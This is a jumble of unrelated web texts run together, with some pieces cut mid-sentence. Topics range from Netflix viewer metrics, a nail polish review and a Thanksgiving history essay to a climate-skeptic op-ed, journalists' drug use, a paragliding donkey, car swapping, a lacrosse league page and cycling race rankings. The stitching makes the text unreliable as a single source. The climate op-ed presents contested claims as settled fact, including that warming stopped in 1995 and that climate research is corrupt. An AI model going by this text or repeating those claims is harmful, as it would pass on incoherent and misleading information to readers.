Lindsay said. "He came to save human beings and to have a family." Satan wants to "have his own seed" and "make his own family," Lindsay said in video posted online by Right Wing Watch. Lindsay seems to have anticipated resistance to the notion of giants in world history, given the complete lack of historical records or fossil evidence. So he offered this explanation as proof: "Why and what is the evidence for giant beings on this Earth? We all know about Stonehenge, right? And that’s just one out of hundreds and hundreds of gigantic places around the world that testify that some sort of supernatural power or giants were involved in its construction."PASADENA, Calif. — Netflix chief content officer Ted Sarandos is holding a hard line on the streaming network's stance on viewer metrics. So, no, they won't be releasing any numbers any time soon. "There's no business reason for us to internally or externally report those numbers," Sarandos told reporters at the Television Critics Association press tour, which kicked off Wednesday in Pasadena. SEE ALSO: Nielsen to hack Netflix, other streaming viewership with audio recognition Traditionally, network ratings serve two main business purposes, as Sarandos pointed out: to justify rates to advertisers (which Netflix does not have) and to justify carrier fees to cable providers (which they also don't have). Netflix does, however, release subscriber numbers for investors on a quarterly basis. The streaming network has no plans to release figures about 'Orange is the New Black' or any other programming. Image: Netflix At least one metrics provider — Nielsen — has recently tried to circumvent the streaming network's practice. In November, a report unveiled Nielsen's plans to track activity on Netflix and other streaming services using audio recognition. Sarandos dismissed the effort. "I think that Nielsen is trying very hard to be relevant in a super rapidly changing technology world, and their ability to accurately track audiences today is in dispute, so I think when you look at adding new technologies and new measurements and new devices, it's going to be a struggle" he said after Netflix's panel. "That's why we haven't been that excited to embrace it." Absent is concern that their secretive nature builds perceptions of underperformance, added Sarandos. "You don't have shows that penetrate the culture at the level these shows have without having a lot of people watching." Both for the Netflix business model and its content creators, he says, they aim to "stay away from" reporting metrics "as long as we can." "I think the debate over ratings and the arms race it creates work negatively for television in terms of the process. It puts a lot of pressure on a show to perform at a very specific time even if a show was not built to be watched at that specific time," he says. Netflix was the first network to present upcoming content during the TCA press tour, which runs through Jan. 20.I cannot wait till next month to see what shade Cheyenne plans to release. The Fall season is my favorite, my wallet is already feeling the pain of all the new releases haha. Don't forget to f ollow CDB Lacquer for up-to-date stock information, sales, and polish releases! Hiya guys. I hope you guys are enjoying the nice long weekend like I am. If only I could make my day off be more like a month. I have a feeling I would turn into a total bum and not do anything haha. Anyway, today I have a really exciting polish release to talk about. Well, it's more like monthly releases. CDB Lacquer has decided to release a holographic polish each and every month. These polishes will be limited edition and therefore limited in quantity. For September, we're saying hello to Oasis.The September LE Holo Oasis is available for purchase now - only in full size for $9.00. Once this polish is sold out, it will be gone for good. There are only a few left so don't miss out your chance to own one.I'm personally loving this shade of blue violet - perfect combination of two of my favorite polish colors all in one. The formula and consistency are excellent, rivaling some of our best known holo makers. For this swatch, I found that two thin coats was pretty opaque, but I added a third for a nice finish. Although the polish has a shiny finish, I did add a topcoat to further enhance the shine. Below you can see some close-ups of the incredible holo effect.by It’s Thanksgiving once again: that day, every year, when we are all gluttonous to celebrate the fact that ‘Pilgrims and Indians’ had a harmonious meal — at least that is how it has been framed historically. Let’s be honest. On the last Thursday of November, every year, we celebrate the beginning of an European invasion that ends with the death or relocation of millions of native people. While many have tried to redefine the meaning of Thanksgiving into a time wherein we cultivate a sense of gratitude, the undeniable truth is that the blood of native people stains the genesis of the holiday. The colonial origins of Thanksgiving – or what many natives often refer to as Thankskilling or Thankstaking – is not something to celebrate. While we cannot pinpoint one specific or original “Thanksgiving” celebration, President Abraham Lincoln made it a national holiday in 1863 and conceived it as a national day of thanksgiving. “Pilgrims and Indians” weren’t included in the tradition until 1890. The national mythos surrounding this holiday does not take into consideration the long and violent history of contact between European settlers (in this case English pilgrims – puritans) and indigenous populations that already inhabited the land. It is in these forgotten histories that we see the history of this holiday for what it truly is: English pilgrims, unprepared to survive on the land and unfamiliar with the vegetation, waterways, and others food sources, stranded on Turtle Island who survive those early winters and ultimately engage in a brutal campaign of colonialism and genocidal activity. It is important that we think clearly and honestly about how the beatified pilgrims saw the natives. Five time Plymouth County Governor William Bradford said the natives were “savage people, who are cruel, barbarous, and most treacherous.” Clearly not the people you would like to feast with, yet our national narrative surrounding this holiday celebrates the first Thanksgiving as a moment of harmonious bridge building. This is clearly not the case. Especially when we learn about the Pequot Massacre of 1637. This is just one in a multitude of genocidal tactics employed against the indigenous peoples of this land since white Europeans arrived in 1492. Of this event, Governor Bradford said, Those that escaped the fire were slain with the sword; some hewed to pieces, others run through with their rapiers, so that they were quickly dispatched and very few escaped. It was conceived they thus destroyed about 400 at this time. It was a fearful sight to see them thus frying in the fire…horrible was the stink and scent thereof, but the victory seemed a sweet sacrifice, and they gave the prayers thereof to God, who had wrought so wonderfully for them. The occupiers celebrated the genocide — and thanked God for the victory. Immediately following the Pequot Massacre of 1637, the occupiers worked diligently to whitewash history. The name of the tribe was erased from the map. The Pequot River became the Thames, and the geographic space the Pequot inhabited became known as New London. It is as if they never existed. The whitewashing and erasure of indigenous histories is not unique to this holiday, but it is, perhaps, one of the most ironic instances of indigenous mass murder in service of white European colonial expansion. The idea that we celebrate the notion that indigenous peoples and the white European occupiers who literally sought their extinction were able to put their differences to the side long enough to sit down and feast upon food, in relative peace and harmony, is deeply problematic. Even more so is the idea that it was the white European occupiers who had to teach and demonstrate “civility
might be important, say, the option to use more than 140 characters, or perhaps the need for anonymity on more sensitive issues. What’s more, take a look at this visualisation of Twitter responses to the Ferguson shootings. Consider the thousands of similar Twitter-storms on political issues where people who should be talking, listening and working through one another’s points of view are instead actively discouraged to do so. All we see is a whirlwind of people agreeing with things or people they already ‘like’ or ‘follow’. Recall the common ‘echo-chamber’ criticisms, which supposedly led to mass complacency among pro-EU voters in the run up to the referendum. In fact it’s almost jarring on the occasions that you actually do find something or someone you profoundly disagree with on Facebook or Twitter. In turn, reactions are more likely to be inflamed, and things tend to descend into a chaotic torrent of abuse fairly quickly. Of course there are some highly contentious issues or debates which are likely to turn into a firefight regardless of where you host them. But a more formal space, with some careful design choices, and clear rules and expectations about how discussion and debate happens, actually makes a lot of sense, and it could be a valuable way to harness a lot of the angry energy we see online into something more productive. A number of parties across Europe, now making (or set to make) impressive inroads into local and national political power, have begun to use some of these tools. The Pirate Party, on the cusp of making electoral history in Iceland, have a crowdsourcing platform on which all party policies are made and every member is able to provide expertise if they wish to do so. Podemos uses an online forum called ‘Plaza Podemos’ where anybody (sometimes averaging around 15,000 users per day) can propose and vote on ideas. The Italian Five Star Movement has launched a tool called ‘Rousseau’ which gives members a direct form of communication with their representatives at the local, national and regional level. Despite the radical platforms on which some of these parties stand, the use of these tools doesn’t have to be about replacing representatives with notions of mass direct democracy. Instead, new tools can provide representatives with some very simple methods of more easily tapping into the ideas and opinions of their constituents: a greater plurality of voices with which to make more informed decisions. Very briefly, here is a further collection of the tools that could easily be experimented with, ideally with small-scale experiments first. The cost of doing this would be relatively cheap; indeed most of these tools are free, open source and adaptable to the needs of any organisation. Crowdsourcing ideas - Your Priorities and Reddit Your Priorities is an open-source tool, useful for crowdsourcing ideas from any given community. It’s been used to agree on policy ideas by the Pirate Party (internally); by a number of city councils across Iceland including Reykjavik; and for the Estonian government’s ‘People’s Assembly’ crowdsourcing process. Around 600,000 people have used the platform since its creation in 2008. The platform is also designed so that it’s impossible to reply directly to someone you disagree with; instead users are encouraged to post broader and more positive arguments that appeal to the whole group, which can then be up- or down-voted by everyone else.Developed countries, deep in debt, are no longer chomping at the bit to pay $100 billion a year in climate reparation and adaptation penalties. Fast-growing nations like China and India refuse to curb the hydrocarbon use that is fueling their development, thereby ensuring that atmospheric carbon dioxide levels will continue to rise. Wikileaks reveal that U.S. diplomacy under President Obama has been geared towards bribing and bullying countries to support climate deals. These countries are not buying the global warming scare on the merits (or lack thereof). It takes cash and arm twisting to keep them in line. What to do? Why, ramp up the rhetoric and fear-mongering, of course. “Highly respected” climate campaigners Oxfam told Cancun attendees that “more than twice” as many people died from natural disasters in 2010 than in 2009 because of global warming. Almost immediately, another “prestigious” group of scientists waded in with a new “peer-reviewed” report predicting that climate change will cause a million deaths a year by 2020, $157 billion in annual damages, and indescribable misery for the world’s poorest countries. Before the ink is even dry on that story, revised estimates from the same “renowned” experts offer even “more sobering” data. We are “already” enduring “350,000 climate-related deaths per year,” they now say, and that number will double by 2030. How can this be happening? Average planetary temperatures increased by a “net” of 0.7 degrees C (1.3 F) between 1900 and 2000, as atmospheric carbon dioxide levels continued to rise – but not in a straight line: they rose 1900-1940, cooled 1940-1975 and warmed 1975-1995. Since 1995, average global temperatures have been stable. Even veteran “manmade climate disaster” alarmists Phil Jones and Kevin Trenberth admit that they “can’t account for the lack of warming,” which they call “a travesty.” During the winter of 2007-2008, North America had the most snow cover it had experienced in 50 years, and places like Wisconsin measured the highest levels since recordkeeping began. Just last month, Wales recorded the coldest November night since record keeping began. Hurricanes have been few and far between for two years, with not a single one reaching US shores during that period – the first time that’s happened in decades. Experts have repeatedly shown there have been no statistically significant increases in storm, flood or drought frequency or intensity; these are cyclical phenomena, they say, tied to a number of complex and interrelated natural forces and events. So where are these deaths coming from? Well, as they say in the Hollywood special effects business, if you can imagine something, we can create it. And so they have. It’s really quite simple, actually. First, blame every death from floods and mudslides, droughts and fires, hurricanes and typhoons, tornadoes and lightning – maybe even volcanoes, earthquakes and tsunamis – on “dangerous manmade climate change.” Pretend there were no similar cataclysms in the past: no floods in China, India or Bangladesh; no droughts in Africa, the Yucatan or American Southwest; no fiery infernos in Australia or Peshtigo, Wisconsin. Second, ignore the inconsistencies, and just assume those pesky CO2 molecules are so clever that they can change the trajectory of planetary temperature trends every few decades, from warming to cooling, back to warming, then just “flatline” for fifteen years or so. Third, get out those climate models, to gin up scary, headline-grabbing catastrophe and mortality numbers. The computer models are all based on the assumption that CO2 drives dangerous warming and climate change. So “researchers” merely have to plug in estimates of future atmospheric carbon dioxide levels and, presto, out come 3-8 degrees of dangerous warming and climate change, and a host of “scenarios” for climate catastrophes, vanished species and dead people. Garbage in, garbage out, or as some wit recently put it, “garbage in, gospel out.” How do alarmists get away with this? That’s really quite simple, too. The normally inquisitive and skeptical news media, “watchdog” groups, universities and government investigators all support the climate armageddon thesis and the brave new world of renewable energy. Vast sums of money are at stake, so they and their bosses have a devout self-interest in propagating and perpetuating this. Traditional peer review has been replaced by “pal-review,” conducted by like-minded folks who want to sustain hypotheses, careers and cash flows. Everyone knows how to play the game of marketing climate crisis activists as “prestigious” researchers, “leading humanitarian organizations” and alliances of “vulnerable” countries that “are experiencing the most direct impacts of climate change.” Feminists have even told us that global warming is worse for women. In this context, honesty, integrity, transparency, accountability and corporate social responsibility are of little concern. The real objective is career advancement, research grants and foreign aid. For those who covet power, gaining control of economic growth, living standards, access to energy and technology, and the dreams and aspirations of people in developed and developing countries alike makes their dream come true. It’s time to end the charade. Address diseases and disasters the same way humans always have: by preparing for and dealing with them. Do everything possible to ensure that poor countries get the enery and technologies they need to improve and safeguard the lives of their people. If the Cancun summit can take some small steps in that constructive direction, its attendees can feel a justified sense of accomplishment. Otherwise, they should be ashamed of themselves.When Rep. Trey Radel was arrested and charged with possession of cocaine, the media vultures came out. And why wouldn’t they? He was the first sitting member of Congress since 1982 to be arrested for a drug crime. What made the story even juicier for many was the hypocrisy that a man with a coke habit would support legislation that would require drug testing for food-stamp recipients. But some members of the media wondered if there was another hypocrisy at play here. One that involved themselves. “How many reporters are recusing themselves from the Radel story? How many should be?” tweeted Ryan Grim of the Huffington Post, who used to work for the Marijuana Policy Project and whose book includes the line, “One day in the fall of 2001, I realized that I hadn’t seen any LSD in an awfully long time.” It’s an interesting question. Should journalists have to avoid covering drug issues if they have been drug users themselves? Or should they at least have to disclose their own use? Friend and colleague Mike Riggs at Atlantic Cities, whose own past drug use has been well- documented by himself and others, says they absolutely should. “Any journalist who does drugs, and doesn’t believe they should be jailed for it, has a moral obligation to disclose their drug use when writing about fellow traveler who’s been screwed by the system,” Riggs says. “I think if every person who works in media/politics in D.C. and who’s voluntarily used illicit drugs in, say, the last few years stepped forward en masse the drug war would be over tomorrow.” As a journalist who is pro-legalization, Riggs clearly has skin in the game beyond just what the Society of Professional Journalists has to say about disclosing conflicts of interest. And in this world, he is not alone. “[Disclosure] might go a long way toward making our coverage of the drug war less douchey and more honest,” says CJ Ciaramella of the Washington Free Beacon. “However, in practice, considering most of the journalists I know, it would become more of an issue of space constraints than ethics. Full disclosure: I’ve done marijuana, hash oil, cocaine, Adderall, Ritalin, LSD, mushrooms, salvia, MDMA, yellow jackets, Hydroxycut, and whatever was in that weird Chinese liquor that a Phillies fan gave me.” Ciaramella is not a complete outlier (though his list is particularly … impressive). Allen St. Pierre, who runs the National Organization for the Reform of Marijuana Laws, says D.C. journalists have a storied history of illicit drug use, much of which happened at parties hosted by NORML at the O Street Mansion in Dupont Circle. “To this day I could still end careers all over this town, in academia, foreign services, politicians, and of course journalists,” he said. “Those journalists today may be some of your editors.” (My editors deny this). But just because some journalists use drugs, does that mean they are not qualified to report on the matter without risking their own career or future employment opportunities with disclosure? First, there’s the fact that members of Congress — elected by their constituents to serve them honorably — should probably be held to a higher standard than lowly journalists (bias alert). It’s altogether possible that the world would be a worse place if even fewer reporters felt they had the ability to call out the most powerful members of our society. Plus, as managing editor of the Washington City Paper Jonathan Fischer puts it, he just doesn’t quite see the conflict. “Current or past drug use doesn’t necessarily have any bearing on how well one does one’s job, so in the abstract, I simply don’t see it as a bias or condition worth disclosing,” he says. “Unless the reporter is secretly the vice president for communications of the cocaine lobby, the fact that he has done cocaine shouldn’t really matter much to his reporting on the drug, excerpt perhaps by giving him a better familiarity with the basic terms of art.” There, of course, is also the question of where you draw the line on the conflict of interest. Do gay people writing about gay marriage need to put their sexuality on every news story? Does a story about underage drinking require admitting to that one party in high school where you drank an entire bottle of Jim Beam? There are plenty of conflicts more substantial and more prevalent than illegal drugs that come up on a daily basis in political reporting. Even in the case of Radel, is it not possible that the coverage is colored more by political biases than drug-related ones? There are certainly more non-disclosed Democrats writing about the “tea partier” Radel than there are people who have done a line of coke. “All of that said: I would love to see a Washington journalist — especially a Capitol Hill reporter — write a first-person piece about cocaine use among journalists, politicians, and other Hill types,” said Fischer of the City Paper. “Hell, I’d run it this week.” No takers here.Peter Stringer and Dave Foley have agreed one year contract extensions with Munster. Stringer is currently on loan to Newcastle Falcons, while Foley who is out injured with a shoulder injury opted for a one year contract instead of the offered two year deal. The province have also confirmed that both Paul O'Connell and Conor Murray have not been included in the squad to face Leinster in the RaboDirect Pro12 on Saturday. It's hoped that O'Connell and Murray will contention for inclusion in the squad for the Heinken Cup game against Ulster on Easter Sunday. Munster squad v Leinster in RaboDirect Pro12 on Saturday, 31 March at Thomond Park, kick-off 7.30pm: M Horan, W du Preez, BJ Botha, J Ryan, S Archer, D Varley, M Sherry, D Fogarty, D O’Callaghan, M O’Driscoll, B Holland, D O’Callaghan, P O’Mahony, T O’Donnell, D Wallace, J Coughlan, D Williams, T O’Leary, R O’Gara, I Keatley, S Zebo, D Barnes, L Mafi, K Earls, D Hurley, J Murphy, S Deasy, F Jones,Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Holidaymakers in Russia got quite a surprise when then saw a flying donkey soaring in the blue skies above them in a beach resort on the Sea of Azov. The donkey was attached to a paraglider as part of a stunt by Russian businessmen to promote paragliding in the beach resort. According to organisers the stunt went wrong leaving the scared animal flying tens of metres above the sea. The donkey's ordeal ended when it eventually landed in the sea before being pulled back to shore in the village of Golubitskaya, in Russia's southern Krasnodar region. The police have launched a probe into the incident. Larisa Tuchkova, regional police spokeswoman said: “The donkey screamed and children cried. No one had the brains to call police.” Instead, shocked beachgoers filmed and photographed the rare event. Watch footage of the paragliding donkey below.Being a car enthusiast is always about wanting more. If you’re like me, every day you’re itching to drive cool cars you randomly see like a Nissan GT-R, Acura NSX, or a Toyota Previa. (I really want to drive that egg.) It’s a torturous feeling as there’s no easy way to get your hands on different kinds of cars unless you’re rich enough to own them all or have rich friends who do. I have neither. But there is another way. You could also ask to drive other people’s cars, which I do on occasion, which requires prolonged sessions of begging and pleading. But that process is not so much fun. When you finally get to drive someone’s car it’s likely that they will be in the passenger seat watching your every move. They’re thinking: “Hey, buddy, don’t leave fingerprints on the steering wheel! Don’t brake too hard... and stop eating Pringles!” How can you possibly enjoy driving the car when all you want is for your passenger to disappear? These short test drives don’t really provide you an opportunity to truly experience the car. Wouldn’t it be much nicer if you could just have the car to yourself to drive it and enjoy it? Well, folks, I have a solution for you. All you need to do is find other motoring enthusiasts like yourself who are willing to temporarily trade cars and go driving together. I call this the swap-and-drive experience. I’ve done this every so often and here is what makes it so much fun. Trading Up Here’s what I mean by “trading up.” During one of my early car-exchanging experiences, I got to drive someone’s Porsche 997 911 Carrera while he drove my Ford Mustang GT, which I owned at the time. I never thought that a Porsche 911 owner would have any interest whatsoever in a Ford product but he did. It was like an owner of a mansion wanting to spend a night in a shack—why? Advertisement He was a muscle car fan and in some ways was more excited about driving my Ford than I was about the 911. I was baffled by his giddiness in driving a car worth less than a fifth of what he owned. The Mustang did have a mean sounding V8 though. So you see, it’s not completely outside the realm of possibility that you might find yourself in a Ferrari F40 one day soon as part of this momentary bartering deal where the F40 owner can’t wait to drive your Mitsubishi Mirage. You never know, multi-millionaires may just be obsessed with Mitsubishi Mirages. Advertisement Longer Drives Recently, I met up with Patrick from Hooniverse, an automotive site about all things that have wheels and an engine. He owns a 2000 Mazda Miata and so we picked a Saturday morning to drive each other’s cars. I have never driven a Miata from that generation before so I was looking forward to driving a car that so many seem to rave about. Meanwhile, I tossed him the keys to my E60 M5. I told him to watch it with my car and not do anything dumb. No, I’m joking—he was perfectly respectful with my car and even wrote a nice piece about his experience with the M5 here. Advertisement Driving in a group is so much more fun than driving by yourself. It can easily turn into a half day event including lunch, chitchat about cars and exploring new roads you didn’t know existed. Meanwhile your loved one at home will be wondering why you are spending so much money on gas and hanging out with strangers, driving around town like idiots. No Pesky Passenger By being alone in the car, no longer are you subject to the owner’s questioning glances and vigilant eye. You can drive in peace. Also, you can also keep an eye on your own car while you’re driving theirs. That way if you spot your swap-and-drive partner pulled over, slamming your car’s doors over and over again to carry out the “door-closing thunk sound test,” you can pull over as well and slap him on the face. Advertisement Also it wouldn’t be fair to cram someone else into a one-person car like a Miata. You’d just induce fear and nausea in them while you threw their car around turns as fast as possible. Admire Your Own Car Being Driven This could be just me, but I really enjoy watching my own car being driven. This is arguably as much fun as driving the car itself. I love taking in all the sights and sounds of my own car. My M5 is so loud that there were times when I couldn’t even see the car but I heard it echoing and booming through the canyon roads. No wonder I got this note from a friendly neighbor. Advertisement They hated me when I owned a loud Lexus IS-F and now they want me dead because I own an even louder M5. You Realize New Things Driving another car for a couple of hours before coming back to your own car might make you ponder a few things that you hadn’t considered before. Like why people feel the need to talk so loudly on their cell phones when folks on the other end can hear just fine without all the yelling. Or, that your car isn’t as horrendous as you thought because somehow you managed to swap with a car that’s worse than yours. Or in my case, how much more I appreciate the computer-controlled M5 after driving the analog Miata. Advertisement Patrick’s car was great in that it provides a simple and straightforward driving experience that’s not modified by technical wizardry. The M5, on the other hand, is filled with complexity and has software and algorithms that are constantly adjusting things to make sure you don’t crash. And you know what? I’m fine with that. I love the fact that I can suck as a driver, which I do, and that the M5 will find a way to make me look great. I can comfortably take corners and turns at high speeds knowing that all the nannies will save me from crashing. If I somehow crash in spite of all that, I probably should never be allowed near a car again. As much fun as it is to drive each other’s cars, it isn’t always easy to arrange something like this. But if you can find a way to do so, it’s well worth the effort. I can’t wait to swap keys again and hopefully, this time, I’ll be able to trade up to... I don’t know, a Bugatti Chiron. It’s possible. Just like winning the $500 million Powerball. Hey, a man can dream.When army regular Shawnald Lee Hong Heng found a man in his bedroom with his wife, he presumed he was taking advantage of her and punched him in the face repeatedly. In fact, Mr Donovan Quek Hon Yong had taken her home after she got drunk during a night out with friends. For his efforts, the 25-year-old suffered fractures to the area around his right eye socket as well as loose and chipped teeth. Yesterday Lee, 25, a military expert in the SAF, was jailed for five weeks after admitting hurting Mr Quek in his Yishun flat. Deputy Public Prosecutor Jason Chua said that Mr Quek took Lee's wife, Ms Wong Kai Yan, 23, back to the flat in a taxi on July 10 last year. Lee arrived with a friend soon after at 1.30am, planning to go out drinking if his wife was asleep. But when he saw his wife lying on the bed looking drowsy and Mr Quek sitting beside her, he punched Mr Quek. He stopped only when his wife intervened. Lee then went downstairs but returned to the flat later and when he saw Mr Quek still there, he tried to hit him again - only to be restrained by his friend. Mr Quek sought treatment after making a police report. He was given four days' medical leave and needed dental implants for two broken teeth. Lee's lawyer, Mr T.M. Sinnadurai, asked the court to consider probation. He said his client, who has been with the army for five years, found his wife in her underwear and lost his self-control. He said Lee is taking care of their young daughter as his wife is now in a drug rehabilitation centre. DPP Chua said Lee only told police that his wife was not wearing a shirt as she had vomited and taken it off. He asked for a sentence of six to 10 weeks' jail. Lee could have been jailed for up to two years and/or fined up to $5,000 for causing hurt.If you are looking for a way to lower your heating bill this year you probably want to look into this Pop Can Solar Heater idea. It is quite simple and is nice since much of the contents of the system is recycled. " The Cansolair Solar Max 240 consists of a four by seven solar collector (28 Square feet, or 2.6 square meters). Solar Max 240 has 15 vertical columns of cylindrical shape, making the actual surface exposed to the sun greater than 2.6 square meters.The same cylindrical shape allows the Solar Max to receive solar radiation for a longer period due to the angle of incidence of the sun hitting the solar panel. Peak BTU performance was observed during the noon hour period in October 2001 wherein the temp rise was 50 to 54F degrees resulting in a 9000 to 9720 Btu or 2636 to 2847 Watts. Peak BTU performance will actually increase in colder weather due to the rise in temperature between input and output temperature and a lower angle of incidence. The Solar Max 240 has a quick response rate of 8 minutes from the appearance of sun to “cut-in” based on 100 degree F output temperature. Solar Max 240 uses the most conductive black paint available for solar collectors. Solar Max uses a lexan outer cover which allows sunlight in and is resistant to the elements."GP W L T PTS Dead Rabbits LC 3 3 0 0 6 Brooklyn Dodgers LC 3 2 1 0 4 Gotham Goats 3 2 1 0 4 Prestige Worldwide 3 2 1 0 4 Twine Time LC 3 0 3 0 0 Metro - Heads Up LC 3 0 3 0 0 In-Depth Standings March 10 Metro - Heads Up LC VS Gotham Goats 11:00 am Brooklyn Dodgers LC VS Twine Time LC 12:00 pm Prestige Worldwide VS Dead Rabbits LC 1:00 pm March 17 Dead Rabbits LC VS Brooklyn Dodgers LC 11:00 am Prestige Worldwide VS Gotham Goats 12:00 pm Twine Time LC VS Metro - Heads Up LC 1:00 pm March 24 Metro - Heads Up LC VS Dead Rabbits LC 11:00 am Brooklyn Dodgers LC VS Prestige Worldwide 12:00 pm Complete Schedule NYC Men’s Late Winter/Early Spring League '19 Congrats to the Rad Dads: 2018 NYC Fall Ball League Champs! Fall Ball '18 League Leaders: Brendan Hanley (Rad Dads - 20 points (20g)) Andrew Teichman (Dead Rabbits LC 1 - 15 points (6g, 9a)) Ryan Bohlert (Brooklyn Dodgers LC - 13 points (12g, 1a)) Jason Sands (Mesh Monsters - 13 points (10g, 3a)) Click Here to Register Late Winter/Early Spring games played on the Soccer Field at Chelsea Park Click Here For Directions --Black Friday/Cyber Monday Special: $110/player (offer lasts 11/23 through 11/26) --Registration Fee: $135 (deadline: 1/20 extended through 1/27) --Late Fee of $25 will be applied after 1/27 The Cost Per Player Includes: 5-6 Games (weather permitting - see weather & refund policies below) ULAX Jersey (required in order to play) - Custom Unis excepted if pre-approved by the league (be sure to reach out to Powell Lacrosse for your custom uni needs. Tell them ULAX sent you to receive the discounted rate!) Certified official(s) Photos and Stats Playoffs and/or championship for the top teams Powell's Picks MVP Awards (fueled by Powell Lacrosse) Custom Team Uni Upgrade Option (fueled by Powell Lacrosse) Championship prize (e.g., t-shirt) for league champs Discounted entry into ULAX Regional Tourneys Men's 2019 Late Winter/Early Spring League Schedule: Games will be played on Sundays between 10am - 2pm. February 10th February 17th February 24th March 10th March 17th March 24th March 31st - Playoffs and/or Championship for the top teams April 7th - make up date April 14th - make up date (Playoff seeding tiebreaker will be based on gf/ga differential) Games subject to being played at a different location. We are now accepting registrations for our NYC late winter/early spring league! Join with a team, group of as a solo free agent and we'll place you on a team. Click Here to Register Additional Registration Info.: Building your own team? Email us your team name and we'll get it up on the site for your players to begin registering. Playing with friends? Sign up as a free agent, enter the names of the players in your group in the "friends who also play in this league" field when registering (all players in the group must register prior to the deadline to guarantee placement on the same team). Signing up solo? Register as a free agent and we'll place you on a team (space is limited) NOTE: All players must pay via PayPal to complete registration, however, you do not need a PayPal account to do so, just have a Debit / Credit card ready when registering. Questions? E-mail us at WEATHER POLICY: Games will be played rain or shine unless there is severe weather. We will send a league wide email to notify all players of any cancellations. REFUND POLICY: No refunds will be issued after the first registration deadline. In case we have to cancel the season due to extenuating circumstances (e.g., inclement weather), we will provide a pro-rated refund based on the number of games played. Five games constitutes a "season" - i.e. No refunds will be issued after five games. "Like" our Facebook page and follow our Instagram and Twitter pages for updated photos and league information!! Follow @ULAXers AROUND THE LEAGUE... Dead Rabbits LC 9 vs Twine Time LC 6 February 24, 2019 On a epic battle Dead Rabbits Wins Key Players: Aaron Shavel- 3 goals 1 assist Prestige Worldwide 11 vs Metro - Heads Up LC 5 February 24, 2019 Prestige WorldWide wins over Metro-Heads Up LC Brooklyn Dodgers LC 7 vs Gotham Goats 8 February 24, 2019 In a close game till the last second- Gotham Goats comes on top with the Win over Brooklyn Dodgers Key Players: BK dodgers- Theo Ferguson- 12 saves and Kirby Zdrill- 3 goals Gotham Goats- Ryan Ambler- 2 goals 2 assists and Dillion Walker- 4 goals Brooklyn Dodgers LC 14 vs Prestige Worldwide 4 February 17, 2019 Brooklyn Dodgers gets the W over the Prestige world wide Key Players- BK dodgers- William Cashman- 4 goals Prestige World Wide- Cameron Kerst- 2 goals Gotham Goats 12 vs Twine Time LC 3 February 17, 2019 Gotham Goats assembled and won over the Twine Time Key Players- Gotham Goats- Ryan Molloy- 2 goals 2 assists Fall Ball '18 League Leaders:Games will be played on Sundays between 10am - 2pm.(Playoff seeding tiebreaker will be based on gf/ga differential)*Games subject to being played at a different location.Email us your team name and we'll get it up on the site for your players to begin registering.Sign up as a free agent, enter the names of the players in your group in the "friends who also play in this league" field when registering (all players in the group must register prior to the deadline to guarantee placement on the same team).Register as a free agent and we'll place you on a team (space is limited)Questions? E-mail us at newyork@ulax.org. Games will be played rain or shine unless there is severe weather. We will send a league wide email to notify all players of any cancellations.No refunds will be issued after the first registration deadline. In case we have to cancel the season due to extenuating circumstances (e.g., inclement weather), we will provide a pro-rated refund based on the number of games played. Five games constitutes a "season" - i.e. No refunds will be issued after five games."Like" ourpage and follow ourandpages for updated photos and league information!!Key Players: Aaron Shavel- 3 goals 1 assistKey Players: BK dodgers- Theo Ferguson- 12 saves and Kirby Zdrill- 3 goals Gotham Goats- Ryan Ambler- 2 goals 2 assists and Dillion Walker- 4 goalsKey Players- BK dodgers- William Cashman- 4 goals Prestige World Wide- Cameron Kerst- 2 goalsKey Players- Gotham Goats- Ryan Molloy- 2 goals 2 assistsGlenn Reynolds at Instapundit explains why he left big law: …I looked at the partners and their lives and thought, “this is what it looks like when you win?” But one thing I noticed about a lot of the partners was that they worked hard and pushed for more compensation because they were married to women who spent a lot of money. Perhaps the older women lawyers don’t have that incentive to stick around. A commenter echoed Glenn’s description of the pressure involved for those who stay in big law: Chasing partnership in Big Law has been described, properly, as “a pie-eating contest where the prize is more pie.” Best thing that ever happened to me was getting sacked from a Big Law firm in October ’08, when the legal market (and the economy at large) collapsed. I’ve done a bit of solo work, which has been grand, and am now outside general counsel to two companies and having a grand time of life. I would rather sell everything I own and take up bartending than go back to life in a big firm — even if it were possible at this stage, which it pretty much isn’t. Sorry I spent 10 years trying to make that crap work. As you may recall, the pressure married men feel to seek out and remain in more stressful and difficult jobs is a key benefit Prager and Wilcox claim men get from marriage. While obviously not all married men seek out and remain in jobs as stressful as big law, as Glenn suggests marriage does push men to make career choices they otherwise would prefer to avoid. This isn’t bad in itself, but the lengths we go to in order to minimize the sacrifices married men are making is a problem. This kind of foolishness prevents us from understanding the true cost of feminist policies to destroy traditional marriage. Being forced to work much harder to support others is not a benefit of marriage to men, just as the benefit of buying a home isn’t the need to work harder to pay the mortgage. While Prager and Wilcox sell pressure to work more difficult jobs as a benefit to men, at least they understand that for men marriage comes with pressure to earn more. That men take on obligations as bread winners in marriage that women don’t would come as a
But somebody must eventually lose very largely on these postage stamps, -- and the sooner their circulation is stopped the smaller the loss will be. The rebel Congress has passed a law, authorizing the issue of five millions of dollars in copper coins, of the denominations of five, ten and twenty-five cents. We ought to have had a similar issue -- not of copper, but of silver, so far alloyed as to prevent its being sold at a premium or withheld from,circulation. Such a currency would be far more convenient and creditable than the paper shinplasters, which are to be issued, and infinitely more so than the sticky and worthless nuisances which have hitherto taken their place.Bennett wants 2.1 ranked event to gain higher status Responding to the publication of the UCI’s calendar for 2014, the race director of the Tour of Britain has complained to the UCI over the maintaining of the current 2.1 status for the event. The race has been pushing hard to be upgraded but after ten editions at the 2.1 level, it is still waiting to be elevated. In contrast, race director Mick Bennett has pointed out that the Tour of Norway has moved from 2.1 to 2.HC. Three editions of that have been held thus far. Bennett claims that a request was lodged to the UCI, but that this was unsuccessful. “An upgrade to the 2.HC level had once again been requested by SweetSpot [the race organisers] from the UCI via British Cycling for next year's edition, which will take place from the 7th to 14th September. “However organisers were disappointed to learn, via the publication of the 2014 UCI Europe Tour calendar, that the application had been unsuccessful with no explanation provided by the UCI.” He said that SweetSpot had contacted both the UCI and British Cycling in order to request an explanation, but had not received a response. He also claimed that there had been two years of a ‘continued lack of communication’ Many of the world’s top teams participate in the race and, citing what he said was a decade of ‘continued growth and development,’ plus global live television for two years, Bennett argues that an upgrade is justified. He said that if a move to 2.HC was permitted, more of the world’s top teams could take part, more UCI points would be allocated and the prize fund would increase. Citing UCI regulation 2.1.005, he said that UK-registered Continental teams plus Great Britain’s national team would still be able to take part in the event. The 2014 UCI Europe Tour 